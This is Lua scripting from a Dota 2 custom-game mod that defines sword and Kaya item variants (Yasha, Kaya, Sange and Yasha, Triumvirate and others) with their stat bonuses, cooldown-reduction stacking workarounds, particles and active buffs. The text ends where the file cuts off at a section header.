-----------------------------------------------------------------------------------------------------------
-- Heaven's Halberd disarm cooldown (enemy-based)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_heavens_halberd_ally_buff == nil then modifier_item_imba_heavens_halberd_ally_buff = class({}) end
function modifier_item_imba_heavens_halberd_ally_buff:IsHidden() return false end
function modifier_item_imba_heavens_halberd_ally_buff:IsDebuff() return false end
function modifier_item_imba_heavens_halberd_ally_buff:IsPurgable() return true end
function modifier_item_imba_heavens_halberd_ally_buff:GetEffectName()
return "particles/items2_fx/sange_active.vpcf"
end
function modifier_item_imba_heavens_halberd_ally_buff:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
function modifier_item_imba_heavens_halberd_ally_buff:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
return funcs
end
function modifier_item_imba_heavens_halberd_ally_buff:GetModifierStatusResistanceStacking()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance_active")
end
-----------------------------------------------------------------------------------------------------------
-- Heaven's Halberd active disarm
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_heavens_halberd_active_disarm == nil then modifier_item_imba_heavens_halberd_active_disarm = class({}) end
function modifier_item_imba_heavens_halberd_active_disarm:IsHidden() return false end
function modifier_item_imba_heavens_halberd_active_disarm:IsDebuff() return true end
function modifier_item_imba_heavens_halberd_active_disarm:IsPurgable() return false end
-- Modifier particle
function modifier_item_imba_heavens_halberd_active_disarm:GetEffectName()
return "particles/items2_fx/heavens_halberd.vpcf"
end
function modifier_item_imba_heavens_halberd_active_disarm:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Declare modifier states
function modifier_item_imba_heavens_halberd_active_disarm:CheckState()
local states = {
[MODIFIER_STATE_DISARMED] = true,
}
return states
end
-----------------------------------------------------------------------------------------------------------
-- Yasha definition
-----------------------------------------------------------------------------------------------------------
if item_imba_yasha == nil then item_imba_yasha = class({}) end
LinkLuaModifier( "modifier_item_imba_yasha", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_yasha_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Stacking attack speed
function item_imba_yasha:GetIntrinsicModifierName()
return "modifier_item_imba_yasha"
end
function item_imba_yasha:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_yasha_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound(active_sword_sound)
end
end
-----------------------------------------------------------------------------------------------------------
-- Yasha passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_yasha == nil then modifier_item_imba_yasha = class({}) end
function modifier_item_imba_yasha:IsHidden() return true end
function modifier_item_imba_yasha:IsPurgable() return false end
function modifier_item_imba_yasha:RemoveOnDeath() return false end
function modifier_item_imba_yasha:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
-- Declare modifier events/properties
function modifier_item_imba_yasha:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE_UNIQUE,
MODIFIER_PROPERTY_STATS_AGILITY_BONUS,
--MODIFIER_PROPERTY_EVASION_CONSTANT,
}
return funcs
end
function modifier_item_imba_yasha:GetModifierAttackSpeedBonus_Constant()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_attack_speed")
end
function modifier_item_imba_yasha:GetModifierMoveSpeedBonus_Percentage_Unique()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_ms")
end
function modifier_item_imba_yasha:GetModifierBonusStats_Agility()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_agility")
end
-- function modifier_item_imba_yasha:GetModifierEvasion_Constant()
-- if not self:GetAbility() then return end
-- return self:GetAbility():GetSpecialValueFor("bonus_evasion")
-- end
-----------------------------------------------------------------------------------------------------------
-- Yasha attack speed buff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_yasha_active == nil then modifier_item_imba_yasha_active = class({}) end
function modifier_item_imba_yasha_active:IsHidden() return false end
function modifier_item_imba_yasha_active:IsDebuff() return false end
function modifier_item_imba_yasha_active:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_yasha_active:GetEffectName()
return "particles/items2_fx/yasha_active.vpcf"
end
function modifier_item_imba_yasha_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
function modifier_item_imba_yasha_active:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_EVASION_CONSTANT,
}
return funcs
end
function modifier_item_imba_yasha_active:GetModifierEvasion_Constant()
return self:GetAbility():GetSpecialValueFor("bonus_evasion_active")
end
-----------------------------------------------------------------------------------------------------------
-- kaya definition
-----------------------------------------------------------------------------------------------------------
if item_imba_kaya == nil then item_imba_kaya = class({}) end
LinkLuaModifier( "modifier_item_imba_kaya", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_kaya_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
function item_imba_kaya:GetIntrinsicModifierName()
return "modifier_item_imba_kaya"
end
function item_imba_kaya:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_kaya_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound("DOTA_Item.Pipe.Activate")
end
end
-----------------------------------------------------------------------------------------------------------
-- kaya passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_kaya == nil then modifier_item_imba_kaya = class({}) end
function modifier_item_imba_kaya:IsHidden() return true end
function modifier_item_imba_kaya:IsPurgable() return false end
function modifier_item_imba_kaya:RemoveOnDeath() return false end
function modifier_item_imba_kaya:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
function modifier_item_imba_kaya:OnCreated()
if not self:GetAbility() then self:Destroy() return end
self.spell_amp = self:GetAbility():GetSpecialValueFor("spell_amp")
self.bonus_cdr = self:GetAbility():GetSpecialValueFor("bonus_cdr")
self.bonus_int = self:GetAbility():GetSpecialValueFor("bonus_int")
if not IsServer() then return end
-- Use Secondary Charges system to make CDR not stack with multiple Kayas
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
function modifier_item_imba_kaya:OnDestroy()
if not IsServer() then return end
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
-- Declare modifier events/properties
function modifier_item_imba_kaya:DeclareFunctions()
return {
MODIFIER_PROPERTY_SPELL_AMPLIFY_PERCENTAGE_UNIQUE,
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_STATS_INTELLECT_BONUS,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE
}
end
-- GetModifierSpellAmplify_PercentageUnique seems to be working fine in preventing stacking, but GetModifierPercentageCooldown was broken on the onset of 7.23 and I don't know when it will be fixed (if ever), so I will have to do some ugly manual exception handling to prevent this
function modifier_item_imba_kaya:GetModifierSpellAmplify_PercentageUnique()
return self.spell_amp
end
function modifier_item_imba_kaya:GetModifierPercentageManacost()
return self.bonus_cdr
end
function modifier_item_imba_kaya:GetModifierBonusStats_Intellect()
return self.bonus_int
end
-- As of 7.23, the items that Kaya's tree contains are as follows:
-- - Kaya
-- - Yasha and Kaya (will consider this higher than KnS in terms of priority for now)
-- - Bloodstone
-- - Kaya and Sange
-- - The Triumvirate
-- - Arcane Nexus
-- - Trident (currently vanilla and thus does not have the IMBAfications to add mana cost and cooldown, so it'll be ignored for now)
function modifier_item_imba_kaya:GetModifierPercentageCooldown()
if self:GetAbility() and
self:GetAbility():GetSecondaryCharges() == 1 and
not self:GetParent():HasModifier("modifier_item_imba_yasha_and_kaya") and
not self:GetParent():HasModifier("modifier_item_imba_bloodstone_720") and
not self:GetParent():HasModifier("modifier_item_imba_kaya_and_sange") and
not self:GetParent():HasModifier("modifier_item_imba_the_triumvirate_v2") and
not self:GetParent():HasModifier("modifier_item_imba_arcane_nexus_passive") then
return self.bonus_cdr
end
end
modifier_item_imba_kaya_active = modifier_item_imba_kaya_active or class({})
function modifier_item_imba_kaya_active:IsDebuff() return false end
function modifier_item_imba_kaya_active:IsHidden() return false end
function modifier_item_imba_kaya_active:IsPurgable() return false end
function modifier_item_imba_kaya_active:IsPurgeException() return false end
function modifier_item_imba_kaya_active:GetEffectName()
return "particles/items2_fx/kaya_active_b0.vpcf"
end
function modifier_item_imba_kaya_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
function modifier_item_imba_kaya_active:GetTexture()
if self:GetAbility():GetName() == "item_imba_kaya" then
return "item_kaya"
elseif self:GetAbility():GetName() == "item_imba_arcane_nexus" then
return "modifiers/imba_arcane_nexus"
end
end
function modifier_item_imba_kaya_active:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.bonus_cdr_active = self:GetAbility():GetSpecialValueFor("bonus_cdr_active")
end
function modifier_item_imba_kaya_active:DeclareFunctions()
return {
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE,
MODIFIER_EVENT_ON_ABILITY_FULLY_CAST,
}
end
function modifier_item_imba_kaya_active:GetModifierPercentageCooldown()
return self.bonus_cdr_active
end
function modifier_item_imba_kaya_active:GetModifierPercentageManacost()
return self.bonus_cdr_active
end
function modifier_item_imba_kaya_active:OnAbilityFullyCast(keys)
if keys.unit == self:GetParent() and not keys.ability:IsItem() and not keys.ability:IsToggle() then
self:Destroy()
end
end
-----------------------------------------------------------------------------------------------------------
-- Sange and Yasha definition
-----------------------------------------------------------------------------------------------------------
if item_imba_sange_yasha == nil then item_imba_sange_yasha = class({}) end
LinkLuaModifier("modifier_item_imba_sange_yasha", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE) -- Owner's bonus attributes, stackable
LinkLuaModifier("modifier_item_imba_sange_yasha_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE) -- Maim debuff
function item_imba_sange_yasha:GetIntrinsicModifierName()
return "modifier_item_imba_sange_yasha"
end
function item_imba_sange_yasha:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_sange_yasha_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound(active_sword_sound)
end
end
-----------------------------------------------------------------------------------------------------------
-- Sange and Yasha passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_sange_yasha == nil then modifier_item_imba_sange_yasha = class({}) end
function modifier_item_imba_sange_yasha:IsHidden() return true end
function modifier_item_imba_sange_yasha:IsPurgable() return false end
function modifier_item_imba_sange_yasha:RemoveOnDeath() return false end
function modifier_item_imba_sange_yasha:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
-- Declare modifier events/properties
function modifier_item_imba_sange_yasha:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_PREATTACK_BONUS_DAMAGE,
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE_UNIQUE,
MODIFIER_PROPERTY_STATS_AGILITY_BONUS,
MODIFIER_PROPERTY_STATS_STRENGTH_BONUS,
--MODIFIER_PROPERTY_EVASION_CONSTANT,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
return funcs
end
function modifier_item_imba_sange_yasha:GetModifierPreAttack_BonusDamage()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_damage")
end
function modifier_item_imba_sange_yasha:GetModifierAttackSpeedBonus_Constant()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_attack_speed")
end
function modifier_item_imba_sange_yasha:GetModifierMoveSpeedBonus_Percentage_Unique()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_ms")
end
function modifier_item_imba_sange_yasha:GetModifierBonusStats_Agility()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_agility")
end
function modifier_item_imba_sange_yasha:GetModifierBonusStats_Strength()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_strength")
end
function modifier_item_imba_sange_yasha:GetModifierStatusResistanceStacking()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance")
end
-- function modifier_item_imba_sange_yasha:GetModifierEvasion_Constant()
-- if not self:GetAbility() then return end
-- return self:GetAbility():GetSpecialValueFor("bonus_evasion")
-- end
-----------------------------------------------------------------------------------------------------------
-- Sange and Yasha maim debuff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_sange_yasha_active == nil then modifier_item_imba_sange_yasha_active = class({}) end
function modifier_item_imba_sange_yasha_active:IsHidden() return false end
function modifier_item_imba_sange_yasha_active:IsDebuff() return false end
function modifier_item_imba_sange_yasha_active:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_sange_yasha_active:GetEffectName()
return "particles/items2_fx/sange_yasha_active.vpcf"
end
function modifier_item_imba_sange_yasha_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Declare modifier events/properties
function modifier_item_imba_sange_yasha_active:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_EVASION_CONSTANT,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
}
return funcs
end
function modifier_item_imba_sange_yasha_active:GetModifierStatusResistanceStacking()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance_active")
end
function modifier_item_imba_sange_yasha_active:GetModifierEvasion_Constant()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_evasion_active")
end
-----------------------------------------------------------------------------------------------------------
-- Kaya and Sange definition
-----------------------------------------------------------------------------------------------------------
if item_imba_kaya_and_sange == nil then item_imba_kaya_and_sange = class({}) end
LinkLuaModifier( "modifier_item_imba_kaya_and_sange", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_kaya_and_sange_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Maim/amp debuff
function item_imba_kaya_and_sange:GetIntrinsicModifierName()
return "modifier_item_imba_kaya_and_sange"
end
function item_imba_kaya_and_sange:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_kaya_and_sange_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound(active_sword_sound)
end
end
-----------------------------------------------------------------------------------------------------------
-- Sange and kaya passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_kaya_and_sange == nil then modifier_item_imba_kaya_and_sange = class({}) end
function modifier_item_imba_kaya_and_sange:IsHidden() return true end
function modifier_item_imba_kaya_and_sange:IsPurgable() return false end
function modifier_item_imba_kaya_and_sange:RemoveOnDeath() return false end
function modifier_item_imba_kaya_and_sange:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
function modifier_item_imba_kaya_and_sange:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.spell_amp = self:GetAbility():GetSpecialValueFor("spell_amp")
self.bonus_cdr = self:GetAbility():GetSpecialValueFor("bonus_cdr")
self.bonus_intellect = self:GetAbility():GetSpecialValueFor("bonus_intellect")
self.bonus_damage = self:GetAbility():GetSpecialValueFor("bonus_damage")
self.bonus_strength = self:GetAbility():GetSpecialValueFor("bonus_strength")
self.bonus_status_resistance = self:GetAbility():GetSpecialValueFor("bonus_status_resistance")
if not IsServer() then return end
-- Use Secondary Charges system to make CDR not stack with multiples
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
function modifier_item_imba_kaya_and_sange:OnDestroy()
if not IsServer() then return end
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
-- Declare modifier events/properties
function modifier_item_imba_kaya_and_sange:DeclareFunctions()
return {
MODIFIER_PROPERTY_PREATTACK_BONUS_DAMAGE,
MODIFIER_PROPERTY_STATS_STRENGTH_BONUS,
MODIFIER_PROPERTY_STATS_INTELLECT_BONUS,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE,
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
MODIFIER_PROPERTY_SPELL_AMPLIFY_PERCENTAGE_UNIQUE,
}
end
function modifier_item_imba_kaya_and_sange:GetModifierSpellAmplify_PercentageUnique()
return self.spell_amp
end
function modifier_item_imba_kaya_and_sange:GetModifierBonusStats_Intellect()
return self.bonus_intellect
end
function modifier_item_imba_kaya_and_sange:GetModifierPreAttack_BonusDamage()
return self.bonus_damage
end
function modifier_item_imba_kaya_and_sange:GetModifierBonusStats_Strength()
return self.bonus_strength
end
function modifier_item_imba_kaya_and_sange:GetModifierStatusResistanceStacking()
return self.bonus_status_resistance
end
function modifier_item_imba_kaya_and_sange:GetModifierPercentageManacost()
return self.bonus_cdr
end
-- As of 7.23, the items that Kaya's tree contains are as follows:
-- - Kaya
-- - Yasha and Kaya (will consider this higher than KnS in terms of priority for now)
-- - Bloodstone
-- - Kaya and Sange
-- - The Triumvirate
-- - Arcane Nexus
-- - Trident (currently vanilla and thus does not have the IMBAfications to add mana cost and cooldown, so it'll be ignored for now)
function modifier_item_imba_kaya_and_sange:GetModifierPercentageCooldown()
if self:GetAbility():GetSecondaryCharges() == 1 and
not self:GetParent():HasModifier("modifier_item_imba_yasha_and_kaya") and
not self:GetParent():HasModifier("modifier_item_imba_bloodstone_720") and
not self:GetParent():HasModifier("modifier_item_imba_the_triumvirate_v2") and
not self:GetParent():HasModifier("modifier_item_imba_arcane_nexus_passive") then
return self.bonus_cdr
end
end
-----------------------------------------------------------------------------------------------------------
-- Sange and kaya maim/amp debuff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_kaya_and_sange_active == nil then modifier_item_imba_kaya_and_sange_active = class({}) end
function modifier_item_imba_kaya_and_sange_active:IsHidden() return false end
function modifier_item_imba_kaya_and_sange_active:IsDebuff() return false end
function modifier_item_imba_kaya_and_sange_active:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_kaya_and_sange_active:GetEffectName()
return "particles/items2_fx/kaya_sange_active.vpcf"
end
function modifier_item_imba_kaya_and_sange_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
-- Declare modifier events/properties
function modifier_item_imba_kaya_and_sange_active:DeclareFunctions()
return {
MODIFIER_PROPERTY_STATUS_RESISTANCE_STACKING,
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE,
}
end
function modifier_item_imba_kaya_and_sange_active:GetModifierStatusResistanceStacking()
return self:GetAbility():GetSpecialValueFor("bonus_status_resistance_active")
end
function modifier_item_imba_kaya_and_sange_active:GetModifierPercentageCooldown()
return self:GetAbility():GetSpecialValueFor("bonus_cdr_active")
end
function modifier_item_imba_kaya_and_sange_active:GetModifierPercentageManacost()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_cdr_active")
end
-----------------------------------------------------------------------------------------------------------
-- kaya and Yasha definition
-----------------------------------------------------------------------------------------------------------
if item_imba_yasha_and_kaya == nil then item_imba_yasha_and_kaya = class({}) end
LinkLuaModifier( "modifier_item_imba_yasha_and_kaya", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_yasha_and_kaya_active", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Amp debuff
function item_imba_yasha_and_kaya:GetIntrinsicModifierName()
return "modifier_item_imba_yasha_and_kaya"
end
function item_imba_yasha_and_kaya:OnSpellStart()
if IsServer() then
self:GetCaster():AddNewModifier(self:GetCaster(), self, "modifier_item_imba_yasha_and_kaya_active", {duration=self:GetSpecialValueFor("active_duration")})
self:GetCaster():EmitSound(active_sword_sound)
end
end
-----------------------------------------------------------------------------------------------------------
-- Yasha passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_yasha_and_kaya == nil then modifier_item_imba_yasha_and_kaya = class({}) end
function modifier_item_imba_yasha_and_kaya:IsHidden() return true end
function modifier_item_imba_yasha_and_kaya:IsPurgable() return false end
function modifier_item_imba_yasha_and_kaya:RemoveOnDeath() return false end
function modifier_item_imba_yasha_and_kaya:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
function modifier_item_imba_yasha_and_kaya:OnCreated()
if IsServer() then
if not self:GetAbility() then self:Destroy() end
end
self.spell_amp = self:GetAbility():GetSpecialValueFor("spell_amp")
self.bonus_cdr = self:GetAbility():GetSpecialValueFor("bonus_cdr")
self.bonus_intellect = self:GetAbility():GetSpecialValueFor("bonus_intellect")
self.bonus_agility = self:GetAbility():GetSpecialValueFor("bonus_agility")
self.bonus_attack_speed = self:GetAbility():GetSpecialValueFor("bonus_attack_speed")
self.bonus_ms = self:GetAbility():GetSpecialValueFor("bonus_ms")
if not IsServer() then return end
-- Use Secondary Charges system to make CDR not stack with multiples
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
function modifier_item_imba_yasha_and_kaya:OnDestroy()
if not IsServer() then return end
for _, mod in pairs(self:GetParent():FindAllModifiersByName(self:GetName())) do
mod:GetAbility():SetSecondaryCharges(_)
end
end
-- Declare modifier events/properties
function modifier_item_imba_yasha_and_kaya:DeclareFunctions()
return {
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE_UNIQUE,
MODIFIER_PROPERTY_STATS_AGILITY_BONUS,
MODIFIER_PROPERTY_STATS_INTELLECT_BONUS,
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE,
MODIFIER_PROPERTY_SPELL_AMPLIFY_PERCENTAGE_UNIQUE,
}
end
function modifier_item_imba_yasha_and_kaya:GetModifierAttackSpeedBonus_Constant()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("bonus_attack_speed")
end
end
function modifier_item_imba_yasha_and_kaya:GetModifierMoveSpeedBonus_Percentage_Unique()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("bonus_ms")
end
end
function modifier_item_imba_yasha_and_kaya:GetModifierBonusStats_Agility()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("bonus_agility")
end
end
function modifier_item_imba_yasha_and_kaya:GetModifierBonusStats_Intellect()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("bonus_intellect")
end
end
function modifier_item_imba_yasha_and_kaya:GetModifierPercentageManacost()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("bonus_cdr")
end
end
-- As of 7.23, the items that Kaya's tree contains are as follows:
-- - Kaya
-- - Yasha and Kaya (will consider this higher than KnS in terms of priority for now)
-- - Bloodstone
-- - Kaya and Sange
-- - The Triumvirate
-- - Arcane Nexus
-- - Trident (currently vanilla and thus does not have the IMBAfications to add mana cost and cooldown, so it'll be ignored for now)
function modifier_item_imba_yasha_and_kaya:GetModifierPercentageCooldown()
if self:GetAbility() and
self:GetAbility():GetSecondaryCharges() == 1 and
not self:GetParent():HasModifier("modifier_item_imba_bloodstone_720") and
not self:GetParent():HasModifier("modifier_item_imba_the_triumvirate_v2") and
not self:GetParent():HasModifier("modifier_item_imba_arcane_nexus_passive") then
return self:GetAbility():GetSpecialValueFor("bonus_cdr")
end
end
function modifier_item_imba_yasha_and_kaya:GetModifierSpellAmplify_PercentageUnique()
if self:GetAbility() then
return self:GetAbility():GetSpecialValueFor("spell_amp")
end
end
-----------------------------------------------------------------------------------------------------------
-- kaya and Yasha magic amp debuff (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_yasha_and_kaya_active == nil then modifier_item_imba_yasha_and_kaya_active = class({}) end
function modifier_item_imba_yasha_and_kaya_active:IsHidden() return false end
function modifier_item_imba_yasha_and_kaya_active:IsDebuff() return false end
function modifier_item_imba_yasha_and_kaya_active:IsPurgable() return true end
-- Modifier particle
function modifier_item_imba_yasha_and_kaya_active:GetEffectName()
return "particles/items2_fx/yasha_kaya_active.vpcf"
end
function modifier_item_imba_yasha_and_kaya_active:GetEffectAttachType()
return PATTACH_ABSORIGIN_FOLLOW
end
function modifier_item_imba_yasha_and_kaya_active:OnCreated()
if not self:GetAbility() then self:Destroy() return end
self.bonus_cdr_active = self:GetAbility():GetSpecialValueFor("bonus_cdr_active")
self.bonus_evasion_active = self:GetAbility():GetSpecialValueFor("bonus_evasion_active")
end
-- Declare modifier events/properties
function modifier_item_imba_yasha_and_kaya_active:DeclareFunctions()
return {
MODIFIER_PROPERTY_MANACOST_PERCENTAGE,
MODIFIER_PROPERTY_COOLDOWN_PERCENTAGE,
MODIFIER_PROPERTY_EVASION_CONSTANT,
}
end
function modifier_item_imba_yasha_and_kaya_active:GetModifierPercentageCooldown()
return self.bonus_cdr_active
end
function modifier_item_imba_yasha_and_kaya_active:GetModifierPercentageManacost()
return self.bonus_cdr_active
end
function modifier_item_imba_yasha_and_kaya_active:GetModifierEvasion_Constant()
return self.bonus_evasion_active
end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate definition
-----------------------------------------------------------------------------------------------------------
if item_imba_triumvirate == nil then item_imba_triumvirate = class({}) end
LinkLuaModifier( "modifier_item_imba_triumvirate", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Owner's bonus attributes, stackable
LinkLuaModifier( "modifier_item_imba_triumvirate_stacks_debuff", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Maim/amp debuff
LinkLuaModifier( "modifier_item_imba_triumvirate_proc_debuff", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Disarm/silence debuff
LinkLuaModifier( "modifier_item_imba_triumvirate_stacks_buff", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Stacking attack speed
LinkLuaModifier( "modifier_item_imba_triumvirate_proc_buff", "components/items/item_swords.lua", LUA_MODIFIER_MOTION_NONE ) -- Move speed proc
function item_imba_triumvirate:GetAbilityTextureName()
return "imba_sange_and_kaya_and_yasha"
end
function item_imba_triumvirate:GetIntrinsicModifierName()
return "modifier_item_imba_triumvirate" end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate passive modifier (stackable)
-----------------------------------------------------------------------------------------------------------
if modifier_item_imba_triumvirate == nil then modifier_item_imba_triumvirate = class({}) end
function modifier_item_imba_triumvirate:IsHidden() return true end
function modifier_item_imba_triumvirate:IsPurgable() return false end
function modifier_item_imba_triumvirate:RemoveOnDeath() return false end
function modifier_item_imba_triumvirate:GetAttributes() return MODIFIER_ATTRIBUTE_MULTIPLE end
-- Declare modifier events/properties
function modifier_item_imba_triumvirate:DeclareFunctions()
return {
MODIFIER_PROPERTY_PREATTACK_BONUS_DAMAGE,
MODIFIER_PROPERTY_ATTACKSPEED_BONUS_CONSTANT,
MODIFIER_PROPERTY_MOVESPEED_BONUS_PERCENTAGE_UNIQUE,
MODIFIER_PROPERTY_STATS_STRENGTH_BONUS,
MODIFIER_PROPERTY_STATS_AGILITY_BONUS,
MODIFIER_PROPERTY_STATS_INTELLECT_BONUS,
MODIFIER_EVENT_ON_ATTACK_LANDED,
}
end
function modifier_item_imba_triumvirate:GetModifierPreAttack_BonusDamage()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_damage") end
function modifier_item_imba_triumvirate:GetModifierPercentageCooldown()
return self:GetAbility():GetSpecialValueFor("bonus_cdr")
end
function modifier_item_imba_triumvirate:GetModifierAttackSpeedBonus_Constant()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_attack_speed") end
function modifier_item_imba_triumvirate:GetModifierMoveSpeedBonus_Percentage_Unique()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_ms") end
function modifier_item_imba_triumvirate:GetModifierBonusStats_Strength()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_str") end
function modifier_item_imba_triumvirate:GetModifierBonusStats_Agility()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_agi") end
function modifier_item_imba_triumvirate:GetModifierBonusStats_Intellect()
if not self:GetAbility() then return end
return self:GetAbility():GetSpecialValueFor("bonus_int") end
-- On attack landed, roll for proc and apply stacks
function modifier_item_imba_triumvirate:OnAttackLanded( keys )
if IsServer() then
local owner = self:GetParent()
local target = keys.target
-- If this attack was not performed by the modifier's owner, do nothing
if owner ~= keys.attacker then
return end
-- All conditions met, perform a Triumvirate attack
TriumAttack(owner, keys.target, self:GetAbility(), "modifier_item_imba_triumvirate_stacks_debuff", "modifier_item_imba_triumvirate_stacks_buff", "modifier_item_imba_triumvirate_proc_debuff", "modifier_item_imba_triumvirate_proc_buff")
end
end
-----------------------------------------------------------------------------------------------------------
-- Triumvirate maim/amp debuff (stackable)
